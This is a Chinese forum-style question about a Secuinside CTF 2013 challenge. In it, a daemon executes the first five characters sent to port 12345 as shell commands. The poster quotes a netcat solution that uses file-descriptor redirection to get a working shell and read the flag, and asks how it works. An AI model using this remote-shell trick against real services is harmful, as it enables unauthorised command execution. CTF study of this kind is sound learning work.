这个周末,CTF的战争发生了,Secucinside CTF 2013(
http://war.secuinside.com/)
作为一个计算机安全监督机构,我看看了这些挑战,并在CTF结束之后解决了这些问题.
其中一个挑战是在服务器上获取远程shell,因为在该服务器上运行了一个名为“givemeshell”的守护程序.守护进程是在一个选定的端口上保持一个套接字打开,就是说端口12345.
当套接字收到某些东西时,守护进程将占用前5个字符并在shell中启动它们.
例如,如果我发送cat文件,守护进程将在shell中启动cat f命令.没有响应发送,所以我不知道命令的结果.
目的是读取包含该标志的文件.
现在有人给了我这个解决方案:
$nc 1.2.3.4 12345 4<>a $nc 1.2.3.4 12345 sh<&4 sh>&4 cat flag The flag is _FLAG_
我测试了这个解决方案,它的工作原理.但是花了几个小时试图理解它,我仍然无法弄清楚它的作用和为什么它的作用.我明白这是关于重定向的东西…
有人可以向我解释吗?谢谢!